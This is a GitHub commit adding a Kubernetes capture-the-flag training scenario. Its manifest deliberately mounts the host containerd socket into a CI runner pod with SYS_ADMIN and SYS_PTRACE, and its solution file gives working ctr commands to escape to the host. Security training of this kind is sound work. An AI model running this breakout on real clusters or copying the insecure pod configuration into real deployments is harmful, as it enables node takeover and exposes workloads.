-
Notifications
You must be signed in to change notification settings - Fork 97
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat(scenarios): add ci runner ng breakout
- Loading branch information
1 parent
f71fef3
commit e9c18b6
Showing
7 changed files
with
139 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
--- | ||
|
||
- name: CI Runner NG Breakout | ||
hosts: bastion:nodes | ||
become: yes | ||
vars: | ||
state: present | ||
roles: | ||
- ci-runner-ng-breakout |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
During penetration testing of a client kubernetes cluster, a vulnerability in a pod has been noticed. | ||
|
||
The pod is part of the CI/CD build infrastructure and you are concerned that a compromised runner may lead to compromsied VMs. | ||
|
||
Verify the vulnerability by breaking out of the CI runner pod. |
53 changes: 53 additions & 0 deletions
53
ansible/roles/ci-runner-ng-breakout/files/manifests/scenario.yaml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
apiVersion: v1 | ||
kind: Namespace | ||
metadata: | ||
name: ci-runner-ng | ||
--- | ||
apiVersion: apps/v1 | ||
kind: Deployment | ||
metadata: | ||
labels: | ||
name: jenk-ng-runner-s82n6 | ||
name: jenk-ng-runner-s82n6 | ||
namespace: ci-runner-ng | ||
spec: | ||
replicas: 1 | ||
selector: | ||
matchLabels: | ||
name: jenk-ng-runner-s82n6 | ||
template: | ||
metadata: | ||
labels: | ||
name: jenk-ng-runner-s82n6 | ||
spec: | ||
containers: | ||
- image: docker.io/controlplaneoffsec/cri-tools:latest | ||
name: jenk-ng-runner-s82n6 | ||
imagePullPolicy: Always | ||
command: | ||
- sleep | ||
- inf | ||
ports: | ||
- containerPort: 80 | ||
volumeMounts: | ||
- name: run-containerd | ||
mountPath: /run/containerd/ | ||
- name: var-lib-containerd | ||
mountPath: /var/lib/containerd | ||
- name: tmp | ||
mountPath: /tmp | ||
securityContext: | ||
capabilities: | ||
add: | ||
- SYS_ADMIN | ||
- SYS_PTRACE | ||
volumes: | ||
- name: var-lib-containerd | ||
hostPath: | ||
path: /var/lib/containerd | ||
- name: run-containerd | ||
hostPath: | ||
path: /run/containerd/ | ||
- name: tmp | ||
hostPath: | ||
path: /tmp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
--- | ||
|
||
- name: Install calico network | ||
ansible.builtin.include_role: | ||
name: cluster-network | ||
tasks_from: calico | ||
|
||
- name: Apply K8s manifests | ||
kubernetes.core.k8s: | ||
definition: "{{ lookup('ansible.builtin.file', item) | from_yaml_all }}" | ||
state: "{{ state }}" | ||
loop: | ||
- manifests/scenario.yaml | ||
become: no | ||
when: "'bastion' in inventory_hostname" | ||
|
||
- name: Set flag | ||
ansible.builtin.copy: | ||
dest: /root/flag.txt | ||
content: flag_ctf{NextGenAutomationBreakoutAchievedTM} | ||
when: "state == 'present' and inventory_hostname in groups['nodes']" | ||
|
||
- name: Remove flag | ||
ansible.builtin.file: | ||
path: /root/flag.txt | ||
state: absent | ||
when: "state == 'absent' and inventory_hostname in groups['nodes']" | ||
|
||
- name: Set starting point | ||
ansible.builtin.include_role: | ||
name: starting-point | ||
tasks_from: pod | ||
vars: | ||
namespace: ci-runner-ng | ||
pod: "$(kubectl get po -n ci-runner-ng -l=name=jenk-ng-runner-s82n6 -oname)" | ||
|
||
- name: Copy challenge | ||
ansible.builtin.include_role: | ||
name: starting-point | ||
tasks_from: challenge | ||
vars: | ||
challenge_content: "{{ lookup('ansible.builtin.file', 'files/challenge.txt') }}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
# Solution | ||
|
||
## Ctr CLI | ||
|
||
```bash | ||
ctr i pull r.jpts.uk/nsenter1:latest | ||
ctr run -d --rm --privileged --with-ns pid:/proc/1/ns/pid r.jpts.uk/nsenter1:latest r00t | ||
ctr t exec -t --exec-id x r00t bash | ||
``` | ||
|
||
## Non-Solutions | ||
|
||
* Nerdctl doesn't work as we don't mount in the necessary dirs | ||
* crictl doesn't work due to CNI incompatibiity with calico - [explanation](https://github.com/containerd/cri/issues/520#issuecomment-355362760) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
category: KubeCon | ||
difficulty: KubeCon | ||
name: ci-runner-ng-breakout | ||
kind: cp.simulator/scenario:1.0.0 | ||
objective: Get postgres password. | ||
tasks: | ||
"1": | ||
hints: | ||
sortOrder: 1 | ||
startingPoint: | ||
mode: pod | ||
podName: jenk-ng-runner-s82n6 | ||
podNamespace: ci-runner-ng | ||
summary: There is a containerd socket mounted into the container, | ||
is it possible to traverse the cluster? |